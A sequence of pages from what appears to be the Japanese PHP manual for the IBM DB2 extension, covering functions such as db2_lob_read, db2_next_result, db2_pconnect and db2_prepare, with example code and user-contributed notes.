On the iSeries and maybe other db2 platforms, this function is not defined--PHP Fatal error:  Call to undefined function  db2_last_insert_id().

The alternative is to use IDENTITY_VAL_LOCAL().

The above example becomes:

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
    $createTable = "CREATE TABLE lastInsertID
      (id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
    $insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";
    $getIdentity = "SELECT IDENTITY_VAL_LOCAL() AS LASTID FROM SYSIBM.SYSDUMMY1";

    $stmt = @db2_exec($conn, $createTable);

    /* Checking for single row inserted. */
    $stmt = db2_exec($conn, $insertTable);

    $stmt = db2_exec($conn, $getIdentity);
    $row = db2_fetch_assoc($stmt);
    $ret = $row['LASTID'];

    if($ret) {
        echo "Last Insert ID is : " . $ret . "\n";
    } else {
        echo "No Last insert ID.\n";
    }

    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>


LOB ファイルから、ユーザーが定義したサイズの内容を取得する

  • ≪ db2_last_insert_id
  • db2_next_result ≫
  • PHP Manual
  • IBM DB2 関数
  • LOB ファイルから、ユーザーが定義したサイズの内容を取得する

db2_lob_read

(PECL ibm_db2 >= 1.6.0)

db2_lob_read — LOB ファイルから、ユーザーが定義したサイズの内容を取得する

説明

db2_lob_read ( resource $stmt , int $colnum , int $length ) : string

db2_lob_read() により、 結果セットの指定したカラムから、指定したサイズの LOB データを取得します。

パラメータ

stmt

LOB データを含む有効な stmt リソース。

colnum

stmt リソースの結果セット内の、有効なカラム番号。

length

stmt リソースから取得する LOB データのサイズ。

返り値

指定したサイズのデータを返します。データが取得できない場合は false を返します。

例

例1 さまざまな型のデータの取得

<?php

/* データベースへの接続パラメータ */
$db = 'SAMPLE';
$username = 'db2inst1';
$password = 'ibmdb2';

/* 接続リソースの取得 */
$conn = db2_connect($db,$username,$password);

if ($conn) {
    $drop = 'DROP TABLE clob_stream';
    $result = @db2_exec( $conn, $drop );

    $create = 'CREATE TABLE clob_stream (id INTEGER, my_clob CLOB)';
    $result = db2_exec( $conn, $create );

    $variable = "";
    $stmt = db2_prepare($conn, "INSERT INTO clob_stream (id,my_clob) VALUES (1, ?)");
    $variable = "THIS IS A CLOB TEST. THIS IS A CLOB TEST.";
    db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
    db2_execute($stmt);

    $sql = "SELECT id,my_clob FROM clob_stream";
    $result = db2_prepare($conn, $sql);
    db2_execute($result);
    db2_fetch_row($result);
    $i = 0;
    /* LOB データの読み込み */
    while ($data = db2_lob_read($result, 2, 6)) {
        echo "Loop $i: $data\n";
        $i = $i + 1;
    }

    $drop = 'DROP TABLE blob_stream';
    $result = @db2_exec( $conn, $drop );

    $create = 'CREATE TABLE blob_stream (id INTEGER, my_blob CLOB)';
    $result = db2_exec( $conn, $create );

    $variable = "";
    $stmt = db2_prepare($conn, "INSERT INTO blob_stream (id,my_blob) VALUES (1, ?)");
    $variable = "THIS IS A BLOB TEST. THIS IS A BLOB TEST.";
    db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
    db2_execute($stmt);

    $sql = "SELECT id,my_blob FROM blob_stream";
    $result = db2_prepare($conn, $sql);
    db2_execute($result);
    db2_fetch_row($result);
    $i = 0;
    /* LOB データの読み込み */
    while ($data = db2_lob_read($result, 2, 6)) {
        echo "Loop $i: $data\n";
        $i = $i + 1;
    }
} else {
    echo '接続に失敗しました: ' . db2_conn_errormsg();
}

?>

上の例の出力は以下となります。

Loop 0: THIS I
Loop 1: S A CL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  CLOB
Loop 6: TEST.
Loop 0: THIS I
Loop 1: S A BL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  BLOB
Loop 6: TEST.

参考

  • db2_bind_param() - PHP 変数を SQL 文のパラメータにバインドする
  • db2_exec() - SQL 文を直接実行する
  • db2_execute() - プリペアドステートメントを実行する
  • db2_fetch_row() - 結果セットポインタを次の行あるいは要求された行に設定する
  • db2_prepare() - 実行する SQL 文を準備する
  • db2_result() - 結果セットの行からひとつのカラムを返す

User Contributed Notes

There are no user contributed notes for this page.


ストアドプロシージャから、次の結果セットを要求する

  • ≪ db2_lob_read
  • db2_num_fields ≫
  • PHP Manual
  • IBM DB2 関数
  • ストアドプロシージャから、次の結果セットを要求する

db2_next_result

(PECL ibm_db2 >= 1.0.0)

db2_next_result — ストアドプロシージャから、次の結果セットを要求する

説明

db2_next_result ( resource $stmt ) : resource

ストアドプロシージャは、複数の結果セットを返すことができます。 単純な SELECT 文が返す結果を処理するのと同じように最初の結果セットを 扱った後でそれ以降の結果セットを処理する際には、 db2_next_result() 関数をコールして その返り値を PHP 変数に代入しなければなりません。

パラメータ

stmt

db2_exec() あるいは db2_execute() から返されるプリペアドステートメント。

返り値

ストアドプロシージャが別の結果セットを返している場合には 次の結果セットを含む新しいステートメントリソース、 別の結果セットを返していない場合には false を返します。

例

例1 複数の結果セットを返すストアドプロシージャをコールする

次の例では、3 つの結果セットを返すストアドプロシージャをコールします。 最初の結果セットは CALL 文を起動したのと同じステートメントリソースから 直接取得できますが、2 番目および 3 番目の結果セットは db2_next_result() が返すステートメントリソースから取得します。

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
  $stmt = db2_exec($conn, 'CALL multiResults()');

  print "最初の結果セットを取得します\n";
  while ($row = db2_fetch_array($stmt)) {
    var_dump($row);
  }

  print "\n2 番目の結果セットを取得します\n";
  $res = db2_next_result($stmt);
  if ($res) {
    while ($row = db2_fetch_array($res)) {
      var_dump($row);
    }
  }

  print "\n3 番目の結果セットを取得します\n";
  $res2 = db2_next_result($stmt);
  if ($res2) {
    while ($row = db2_fetch_array($res2)) {
      var_dump($row);
    }
  }

  db2_close($conn);
}
?>

上の例の出力は以下となります。

最初の結果セットを取得します
array(2) {
  [0]=>
  string(16) "Bubbles         "
  [1]=>
  int(3)
}
array(2) {
  [0]=>
  string(16) "Gizmo           "
  [1]=>
  int(4)
}

2 番目の結果セットを取得します
array(4) {
  [0]=>
  string(16) "Sweater         "
  [1]=>
  int(6)
  [2]=>
  string(5) "llama"
  [3]=>
  string(6) "150.00"
}
array(4) {
  [0]=>
  string(16) "Smarty          "
  [1]=>
  int(2)
  [2]=>
  string(5) "horse"
  [3]=>
  string(6) "350.00"
}

3 番目の結果セットを取得します
array(1) {
  [0]=>
  string(16) "Bubbles         "
}
array(1) {
  [0]=>
  string(16) "Gizmo           "
}

User Contributed Notes

matthewv at ca dot ibm dot com 21-Nov-2008 04:35
Some not so obvious but imported notes:

1) You must always use the original statement return when fetching the next result set.
2) You can not remove a reference to a previous result set if you wish to access another result set.

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($firstResultHolder);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$resultHolder = db2_next_result($originalStatementReturn);

$resultHolder = db2_next_result($originalStatementReturn);

if ($resultHolder) {
  while ($row = db2_fetch_array($resultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL WORK--------------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($originalStatementReturn);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------


結果セットに含まれるフィールドの数を返す

  • ≪ db2_next_result
  • db2_num_rows ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セットに含まれるフィールドの数を返す

db2_num_fields

(PECL ibm_db2 >= 1.0.0)

db2_num_fields — 結果セットに含まれるフィールドの数を返す

説明

db2_num_fields ( resource $stmt ) : int

結果セットに含まれるフィールドの数を返します。動的に生成されたクエリが返す 結果セットを処理する場合、あるいはストアドプロシージャから返された結果セットを 処理する場合など、結果セットの使用法がアプリケーションにわからない場合に有用です。

パラメータ

stmt

結果セットを含む有効なステートメントリソース。

返り値

指定したステートメントリソースに関連付けられた結果セット内の フィールドの数を表す整数値を返します。ステートメントリソースが 不正な値の場合には false を返します。

例

例1 結果セットのフィールド数の取得

以下の例では、結果セットが返すフィールドの数を取得する方法を説明します。

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, $sql);
$columns = db2_num_fields($stmt);

echo "結果セット内には {$columns} つのカラムがあります。";
?>

上の例の出力は以下となります。

結果セット内には 4 つのカラムがあります。

参考

  • db2_execute() - プリペアドステートメントを実行する
  • db2_field_display_size() - カラムを表示するために必要な最大のバイト数を返す
  • db2_field_name() - 結果セット内のカラムの名前を返す
  • db2_field_num() - 結果セット内の指定したカラムの位置を返す
  • db2_field_precision() - 結果セット内の指定したカラムの精度を返す
  • db2_field_scale() - 結果セット内の指定したカラムの位取りを返す
  • db2_field_type() - 結果セット内の指定したカラムのデータ型を返す
  • db2_field_width() - 結果セット内の指定したカラムの現在値の幅を返す

User Contributed Notes

There are no user contributed notes for this page.


SQL 文によって変更された行の数を返す

  • ≪ db2_num_fields
  • db2_pclose ≫
  • PHP Manual
  • IBM DB2 関数
  • SQL 文によって変更された行の数を返す

db2_num_rows

(PECL ibm_db2 >= 1.0.0)

db2_num_rows — SQL 文によって変更された行の数を返す

説明

db2_num_rows ( resource $stmt ) : int

SQL 文によって削除、挿入あるいは更新された行の数を返します。

SELECT 文が返す行の数を取得するには、調べたい SELECT 文と同じ述部を持つ SELECT COUNT(*) を発行し、その値を取得します。

SELECT 文が返す行の数を調べて 0 の場合には別の処理を行うようなロジックを アプリケーションで使用している場合、その代わりに db2_fetch_assoc()、db2_fetch_both()、 db2_fetch_array() あるいは db2_fetch_row() を使用して最初の行を取得し、 結果が false の場合には別の処理を行うという方法を検討してください。

注意:

スクロール可能なカーソルを使用して SELECT 文を発行した場合は、 db2_num_rows() は SELECT 文の結果の行数を返します。 しかし、スクロール可能なカーソルを使用すると、 アプリケーションのパフォーマンスが急激に低下します。 そのため、SELECT 文の結果の行数を知りたいというだけの理由で スクロール可能なカーソルを使用するのは避けましょう。 前進のみのカーソルを使用し、SELECT COUNT(*) をコールするか フェッチ関数の返す bool 値を調べるほうが、 同じ機能をずっと高速に実現できます。

パラメータ

stmt

結果セットを含む有効な stmt リソース。

返り値

指定したステートメントハンドルによって発行された、 直近の SQL 文によって変更された行の数を返します。

User Contributed Notes

rmarsh221 at gmail dot com 20-Jul-2017 09:22
$inseq = 598;
    $delSql = "DELETE FROM libname.tablename WHERE inseq=?";
    $stmt = db2_prepare($conn,$delSql);
    $res = db2_execute($stmt,array($inseq));
    if(!$res)
    {
      throw new Exception(db2_stmt_errormsg(), db2_stmt_error());
    } else {
      $rows = db2_num_rows($stmt);
      if ($rows > 0) {
        echo "Success! ".$inseq." record deleted from: libname.tablename:". Rows=".$rows;
      } else {
        echo "Row not found for delete in: ".libname.tablename";
      }

    }


持続的データベース接続を閉じる

  • ≪ db2_num_rows
  • db2_pconnect ≫
  • PHP Manual
  • IBM DB2 関数
  • 持続的データベース接続を閉じる

db2_pclose

(PECL ibm_db2 >= 1.8.0)

db2_pclose — 持続的データベース接続を閉じる

説明

db2_pclose ( resource $resource ) : bool

この関数は、 db2_pconnect() で作成した DB2 クライアント接続を閉じ、 対応するリソースをデータベースサーバーに返します。

注意:

この関数は、i5/OS で i5/OS システム管理リクエストに対する応答としてのみ使用可能です。

持続的 DB2 クライアント接続を db2_pconnect() で作成した場合は、 この関数で接続を閉じることができるでしょう。それ以降の接続のパフォーマンスのことを考えて、 この関数使うのは特別な場合だけにしておかなければなりません。 たとえば持続的接続が無反応になったり 当分の間は持続的接続が不要になったりした場合です。

パラメータ

connection

アクティブな DB2 クライアント接続。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 持続的接続の終了

次の例は、IBM DB2 i5/OS データベースへの接続を閉じるものです。

<?php
$conn = db2_pconnect('', '', '');
$rc = db2_pclose($conn);
if ($rc) {
    echo "Connection was successfully closed.";
}
?>

上の例の出力は以下となります。

Connection was successfully closed.

参考

  • db2_close() - データベース接続を閉じる
  • db2_pconnect() - データベースへの持続的接続を返す

User Contributed Notes

There are no user contributed notes for this page.


データベースへの持続的接続を返す

  • ≪ db2_pclose
  • db2_prepare ≫
  • PHP Manual
  • IBM DB2 関数
  • データベースへの持続的接続を返す

db2_pconnect

(PECL ibm_db2 >= 1.0.0)

db2_pconnect — データベースへの持続的接続を返す

説明

db2_pconnect ( string $database , string $username , string $password , array $options = ? ) : resource

IBM DB2 Universal Database、IBM Cloudscape あるいは Apache Derby データベースへの持続的接続を返します。

持続的接続についての詳細な情報は、 持続的データベース接続 を参照ください。

持続的接続に対して db2_close() をコールすると、 常に true を返します。しかし DB2 クライアント接続はオープンされたままであり、 条件に一致する次の db2_pconnect() リクエストを待ち続けます。

ibm_db2 のバージョン 1.9.0 以降を使っている場合は、 持続的接続上ではリクエストが終了するたびにトランザクションがロールバックされることに気をつけましょう。 リクエストが終了するたびにトランザクションも終了します。 これは、トランザクションによるブロックが次のリクエストまで持ち越されてしまって 同じ接続を利用する別のスクリプトの実行に影響するのを防ぐためです。

パラメータ

database

DB2 クライアントカタログ内のデータベースエイリアス。

username

データベースに接続するユーザー名。

password

データベースに接続するパスワード。

options

接続の振る舞いを指定する接続オプションの連想配列。 使用可能なキーは以下のとおりです。

autocommit

DB2_AUTOCOMMIT_ON を渡すと、 この接続ハンドルで自動コミットを有効にします。

DB2_AUTOCOMMIT_OFF を渡すと、 この接続ハンドルで自動コミットを無効にします。

DB2_ATTR_CASE

DB2_CASE_NATURAL を渡すと、 カラム名の大文字小文字を変換せずに返します。

DB2_CASE_LOWER を渡すと、 カラム名を小文字に変換して返します。

DB2_CASE_UPPER を渡すと、 カラム名を大文字に変換して返します。

CURSOR

DB2_FORWARD_ONLY を渡すと、 ステートメントリソースで前進のみのカーソルを使用します。 これはデフォルトのカーソル型であり、 すべてのデータベースサーバーでサポートされています。

DB2_SCROLLABLE を渡すと、 ステートメントリソースでスクロール可能なカーソルを使用します。 このモードでは結果セット内の行へのランダムアクセスが可能となりますが、 現在は IBM DB2 Universal Database でしかサポートされていません。

以下の新しいオプションは、ibm_db2 のバージョン 1.7.0 以降で使用可能です。

trustedcontext

DB2_TRUSTED_CONTEXT_ENABLE を渡すと、この接続ハンドルでの信頼済みコンテキストを有効にします。 このパラメータを db2_set_option() で設定することはできません。

このキーは、カタログ接続の場合 (たとえローカルデータベースであっても) あるいは接続時に完全な DSN を指定した場合にのみ動作します。

データベースをカタログするには次のコマンドを実行します。

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
db2 "update dbm cfg using svcename <SERVICENAME>"
db2set DB2COMM=TCPIP

以下の新しい i5/OS オプションは、ibm_db2 のバージョン 1.5.1 以降で使用可能です。

ヒント

持続的接続と衝突する属性を使用すると、i5/OS では結果は未定義となります。 持続的接続のユーザープロファイルを使用するすべてのアプリケーションについて、 サイトポリシーを確立しておく必要があります。持続的接続を使用する場合は、 デフォルトの DB2_AUTOCOMMIT_ON をおすすめします。

i5_lib

未解決のファイル参照を解決する際に使用するデフォルトのライブラリを指定します。 システムのネーミングモードを使用している接続の場合は、これは無効です。

i5_naming

DB2_I5_NAMING_ON は、DB2 UDB CLI iSeries のシステムネーミングモードを有効にします。ファイルの識別の際、 区切り文字としてスラッシュ (/) を使用します。 識別されないファイルの解決には、ジョブのライブラリ一覧を使用します。

DB2_I5_NAMING_OFF は、DB2 UDB CLI のデフォルトのネーミングモード (SQL ネーミング) を無効にします。 ファイルの識別の際、区切り文字としてピリオド (.) を使用します。 識別されないファイルの解決には、 デフォルトのライブラリあるいは現在のユーザー ID を使用します。

i5_commit

i5_commit 属性は、 db2_pconnect() の前に設定しなければなりません。 接続が確立された後にこの値が変更され、その接続がリモートデータソースに対するものだった場合は、 その接続ハンドルに対してもう一度 db2_pconnect() がコールされるまで変更は反映されません。

注意:

php.ini の設定は ibm_db2.i5_allow_commit==0 あるいは DB2_I5_TXN_NO_COMMIT がデフォルトです。 しかし、その設定よりも i5_commit オプションの内容のほうが優先されます。

DB2_I5_TXN_NO_COMMIT - コミットの管理を使用しません。

DB2_I5_TXN_READ_UNCOMMITTED - ダーティリード、 反復不能読み取り、ファントムリードが発生する可能性があります。

DB2_I5_TXN_READ_COMMITTED - ダーティリードは発生しません。 反復不能読み取り、ファントムリードが発生する可能性があります。

DB2_I5_TXN_REPEATABLE_READ - ダーティリード、 反復不能読み取りは発生しません。 ファントムリードが発生する可能性があります。

DB2_I5_TXN_SERIALIZABLE - トランザクションの一貫性を保持します。 ダーティリード、反復不能読み取り、ファントムリードは発生しません。

i5_query_optimize

DB2_FIRST_IO すべてのクエリは、結果の一行目をできるだけ早く返すように最適化されます。 これが有効なのは、出力の制御をユーザーが行う場合です。出力の制御とは、 たとえば、出力の最初のページを見てそこで処理を停止させるなどのことです。 OPTIMIZE FOR nnn ROWS 句を指定したクエリは、その指定が優先されます。

DB2_ALL_IO すべてのクエリは、結果全体をできるだけ短時間で取得できるように最適化されます。 これは、結果をファイルや帳票に書き出す場合に有用なオプションです。 あるいは出力データを順次処理するインターフェイスなどにも有用です。 OPTIMIZE FOR nnn ROWS 句を指定したクエリは、その指定が優先されます。 これはデフォルトの設定です。

i5_dbcs_alloc

DB2_I5_DBCS_ALLOC_ON は、 DBCS トランザクションカラムサイズ用の DB2 6X アロケーションを有効にします。

DB2_I5_DBCS_ALLOC_OFF は、 DBCS トランザクションカラムサイズ用の DB2 6X アロケーションを無効にします。

注意:

php.ini では ibm_db2.i5_dbcs_alloc==0 あるいは DB2_I5_DBCS_ALLOC_OFF がデフォルト設定となっています。 しかし、i5_dbcs_alloc の値のほうが優先されます。

i5_date_fmt

DB2_I5_FMT_ISO - 国際標準化機構 (ISO) の日付書式 yyyy-mm-dd を使用します。デフォルトです。

DB2_I5_FMT_USA - 合衆国の日付書式 mm/dd/yyyy を使用します。

DB2_I5_FMT_EUR - 欧州の日付書式 dd.mm.yyyy を使用します。

DB2_I5_FMT_JIS - 日本工業規格 (JIS) の日付書式 yyyy-mm-dd を使用します。

DB2_I5_FMT_MDY - 日付書式 mm/dd/yyyy を使用します。

DB2_I5_FMT_DMY - 日付書式 dd/mm/yyyy を使用します。

DB2_I5_FMT_YMD - 日付書式 yy/mm/dd を使用します。

DB2_I5_FMT_JUL - ユリウス日 yy/ddd を使用します。

DB2_I5_FMT_JOB - そのジョブのデフォルトを使用します。

i5_date_sep

DB2_I5_SEP_SLASH - スラッシュ ( / ) を日付の区切り文字として使用します。 デフォルトです。

DB2_I5_SEP_DASH - ダッシュ ( - ) を日付の区切り文字として使用します。

DB2_I5_SEP_PERIOD - ピリオド ( . ) を日付の区切り文字として使用します。 separator.

DB2_I5_SEP_COMMA - カンマ ( , ) を日付の区切り文字として使用します。

DB2_I5_SEP_BLANK - ブランクを日付の区切り文字として使用します。

DB2_I5_SEP_JOB - そのジョブのデフォルトを使用します。

i5_time_fmt

DB2_I5_FMT_ISO - 国際標準化機構 (ISO) の時刻書式 hh.mm.ss を使用します。デフォルトです。

DB2_I5_FMT_USA - 合衆国の時刻書式 hh:mmxx を使用します。xx には AM あるいは PM が入ります。

DB2_I5_FMT_EUR - 欧州の時刻書式 hh.mm.ss を使用します。

DB2_I5_FMT_JIS - 日本工業規格 (JIS) の時刻書式 hh:mm:ss を使用します。

DB2_I5_FMT_HMS - hh:mm:ss を使用します。

i5_time_sep

DB2_I5_SEP_COLON - コロン ( : ) を時刻の区切り文字として使用します。 デフォルトです。

DB2_I5_SEP_PERIOD - ピリオド ( . ) を時刻の区切り文字として使用します。

DB2_I5_SEP_COMMA - カンマ ( , ) を時刻の区切り文字として使用します。

DB2_I5_SEP_BLANK - ブランクを時刻の区切り文字として使用します。

DB2_I5_SEP_JOB - そのジョブのデフォルトを使用します。

i5_decimal_sep

DB2_I5_SEP_PERIOD - ピリオド ( . ) を小数点として使用します。 デフォルトです。

DB2_I5_SEP_COMMA - カンマ ( , ) を小数点として使用します。

DB2_I5_SEP_JOB - そのジョブのデフォルトを使用します。

以下の新しい i5/OS オプションは、ibm_db2 のバージョン 1.8.0 以降で使用可能です。

i5_libl

ファイル参照を解決する際に用いるライブラリ一覧を表す文字。 ライブラリ一覧の項目を指定する際は、空白で区切って 'i5_libl'=>"MYLIB YOURLIB ANYLIB" のようにします。

注意:

i5_libl は qsys2/qcmdexc('cmd',cmdlen) をコールします。 これは i5/OS V5R4 以降でのみ使用可能です。

返り値

接続に成功した場合は接続ハンドルリソースを返します。 パラメータ database、username および password に完全に一致する接続が 既に存在した場合、db2_pconnect() はそれを再利用します。接続に失敗した場合は db2_pconnect() は false を返します。

変更履歴

バージョン | 説明
ibm_db2 1.9.0 | 持続的接続上のアクティブなトランザクションは、各接続の終了時にロールバックされるようになりました。
ibm_db2 1.8.0 | i5/OS ユーザーは i5_libl オプションが使えるようになりました。
ibm_db2 1.7.0 | trustedcontext オプションが使えるようになりました。
ibm_db2 1.5.1 | i5/OS ユーザーは i5_lib, i5_naming, i5_commit, i5_query_optimize, i5_dbcs_alloc, i5_date_fmt, i5_date_sep, i5_time_fmt, i5_time_sep および i5_decimal_sep が使えるようになりました。

例

例1 db2_pconnect() の例

以下の例で、最初に db2_pconnect() をコールした際には新しい持続的接続リソースを返します。 二度目に db2_pconnect() をコールすると、 最初の持続的接続のリソースが再利用されます。

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$pconn = db2_pconnect($database, $user, $password);

if ($pconn) {
    echo "持続的接続に成功しました。";
}
else {
    echo "持続的接続に失敗しました。";
}

$pconn2 = db2_pconnect($database, $user, $password);
if ($pconn) {
    echo "2 回目の持続的接続に成功しました。";
}
else {
    echo "2 回目の持続的接続に失敗しました。";
}
?>

上の例の出力は以下となります。

持続的接続に成功しました。
2 回目の持続的接続に成功しました。

例2 信頼済みコンテキストの使用

次の例は、信頼済みのコンテキストを有効にしてユーザーを変更し、現在のユーザー ID を取得するものです。

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
  PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_pconnect($dsn, "", "", $options);
if($tc_conn) {
    echo "Explicit trusted connection succeeded.\n";

    if(db2_get_option($tc_conn, "trustedcontext")) {
        $userBefore = db2_get_option($tc_conn, "trusted_user");

        // user 1 で何らかの作業をします

        // 信頼済みユーザーに切り替えます
        $parameters = array("trusted_user" => $tc_user,
          "trusted_password" => $tcuser_pass);
        $res = db2_set_option ($tc_conn, $parameters, 1);

        $userAfter = db2_get_option($tc_conn, "trusted_user");
        // 信頼済みユーザーとして何らかの作業をします

        if($userBefore != $userAfter) {
            echo "User has been switched." . "\n";
        }
    }

    db2_close($tc_conn);
}
else {
    echo "Explicit trusted connection failed.\n";
}
?>

上の例の出力は以下となります。

Explicit trusted connection succeeded.
User has been switched.

参考

  • db2_connect() - データベースへの接続を返す

User Contributed Notes

php at redlagoon dot net 13-Feb-2018 08:17
The ibm_db2.ini file controls many properties related to to pconnect.   For example, stale connection handling is configurable.
satoruyoshida at php dot net 23-Jan-2012 08:28
If You will create db2 connection on IBMi , QSQSRVR job will be created under QSYSWRK subsystem with specified user.
You can ensure it with using db2_pconnect() function.

For example, db2_pconnect('*LOCAL', 'TESTUSR', 'PASSWORD') will bring us QSQSRVR job with TESTUSR user.

If You omit the user, IHS default user is used in the job.


実行する SQL 文を準備する

  • ≪ db2_pconnect
  • db2_primary_keys ≫
  • PHP Manual
  • IBM DB2 関数
  • 実行する SQL 文を準備する

db2_prepare

(PECL ibm_db2 >= 1.0.0)

db2_prepare — 実行する SQL 文を準備する

説明

db2_prepare ( resource $connection , string $statement , array $options = ? ) : resource

db2_prepare() は、プリペアドステートメントを作成します。 このプリペアドステートメントには、入力パラメータ・出力パラメータ あるいは入出力パラメータを表すパラメータマーカ (?) を含めることができます。プリペアドステートメントにパラメータを渡すには db2_bind_param() を使用します。 入力パラメータの場合についてのみ、db2_execute() に渡す配列で指定することも可能です。

アプリケーション内でプリペアドステートメントを使用する利点は、 以下の 3 つです。

  • パフォーマンス: 事前に文を準備しておくと、 その文によってデータを取得するための実行計画をデータベースサーバーが 最適化します。その後 db2_execute() でプリペアドステートメントを実行する際にはこの実行計画が再利用され、 実行時に実行計画を毎回作成することによるオーバーヘッドを避けられます。

  • セキュリティ: 事前に文を準備する際に、 入力値にパラメータマーカを含めることができます。 入力値にプレースホルダを使用してプリペアドステートメントを実行すると、 入力値の型がカラム定義あるいはパラメータ定義と一致することを データベースサーバーがチェックします。

  • 高機能: パラメータマーカの機能は、 単に入力値をプリペアドステートメントに渡すだけではありません。 db2_bind_param() を使用すると、 ストアドプロシージャの OUT パラメータおよび INOUT パラメータから 値を取得することも可能です。

パラメータ

connection

db2_connect() あるいは db2_pconnect() が返した有効なデータベース接続リソース。

statement

ひとつ以上のパラメータマーカを含む SQL 文。

options

文のオプションを含む連想配列。 データベースサーバーがその機能をサポートしている場合に、 このパラメータを使用してスクロール可能なカーソルの使用を 要求することができます。

オプションについての説明は db2_set_option() を参照ください。

返り値

SQL 文のパースに成功し、データベースサーバー内で正しく準備された場合に ステートメントリソースを返します。データベースサーバーがエラーを返した場合に false を返します。返されたエラーの詳細を調べるには、 db2_stmt_error() あるいは db2_stmt_errormsg() をコールします。

例

例1 パラメータマーカを使用した SQL 文の準備と実行

以下の例では、4 つのパラメータマーカを含む INSERT 文を準備し、 入力値の配列を含む配列を順に処理しながら db2_execute() に値を渡します。

<?php
$animals = array(
    array(0, 'cat', 'Pook', 3.2),
    array(1, 'dog', 'Peaches', 12.3),
    array(2, 'horse', 'Smarty', 350.0),
);

$insert = 'INSERT INTO animals (id, breed, name, weight)
    VALUES (?, ?, ?, ?)';
$stmt = db2_prepare($conn, $insert);
if ($stmt) {
    foreach ($animals as $animal) {
        $result = db2_execute($stmt, $animal);
    }
}
?>

参考

  • db2_bind_param() - PHP 変数を SQL 文のパラメータにバインドする
  • db2_execute() - プリペアドステートメントを実行する
  • db2_stmt_error() - SQL 文が返す SQLSTATE を含む文字列を返す
  • db2_stmt_errormsg() - 直近の SQL 文のエラーメッセージを含む文字列を返す

User Contributed Notes

agr dot valayam at gmail dot com 27-Oct-2016 12:08
A simple select example.

$pr_stmt = db2_prepare ($this->conn,"select count(*) from note where city=? and year= ?");
  db2_execute($pr_stmt,array('test',2016));
   $count_res = db2_fetch_array($pr_stmt);
echo "Count =".$count_res[0]
NormInNorman 18-Nov-2009 07:52
If you are having problems with scrollable cursors and the prepare statement, I've found that you cant set the scrollable option on the connection.  The following code (which tries to get the 2nd record):

<?php
$sql = "SELECT * FROM SCHEMA.TABLENAME";
$options = array('cursor' => DB2_SCROLLABLE);
$conn = db2_connect($database, $user, $password,$options);
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);

$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql, $options);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);
?>

Will result in the following error:

Warning: db2_fetch_both() [function.db2-fetch-both]: Fetch Failure in dbtest.php on line 7

In fact, even if you set the options on both the connection and the prepare your fetch will not work. You must only set that option on the prepare.
ndt.db2 at google mail 12-Aug-2006 06:41
if you have the error message : PHP Warning:  db2_prepare() [<a href='function.db2-prepare'>function.db2-prepare</a>]: Statement Prepare Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid


テーブルの主キーを含む結果セットを返す

  • ≪ db2_prepare
  • db2_procedure_columns ≫
  • PHP Manual
  • IBM DB2 関数
  • テーブルの主キーを含む結果セットを返す

db2_primary_keys

(PECL ibm_db2 >= 1.0.0)

db2_primary_keys — テーブルの主キーを含む結果セットを返す

説明

db2_primary_keys ( resource $connection , string $qualifier , string $schema , string $table-name ) : resource

テーブルの主キーを含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

テーブルを含むスキーマ。schema が null の場合、db2_primary_keys() は現在の接続のスキーマを使用します。

table-name

テーブルの名前。

返り値

指定したテーブルの主キーを含む結果セットのステートメントリソースを返します。 結果セットは、以下のカラムで構成されています。

カラム名 | 説明
TABLE_CAT | 主キーを含むテーブルのカタログの名前。 テーブルがカタログを保持していない場合は NULL。
TABLE_SCHEM | 主キーを含むテーブルのスキーマの名前。
TABLE_NAME | 主キーを含むテーブルの名前。
COLUMN_NAME | 主キーを含むカラムの名前。
KEY_SEQ | 1 から始まる数字で表した、キー内のカラムの位置。
PK_NAME | 主キーの名前。

参考

  • db2_column_privileges() - テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_columns() - テーブルのカラムおよび関連するメタデータを含む結果セットを返す
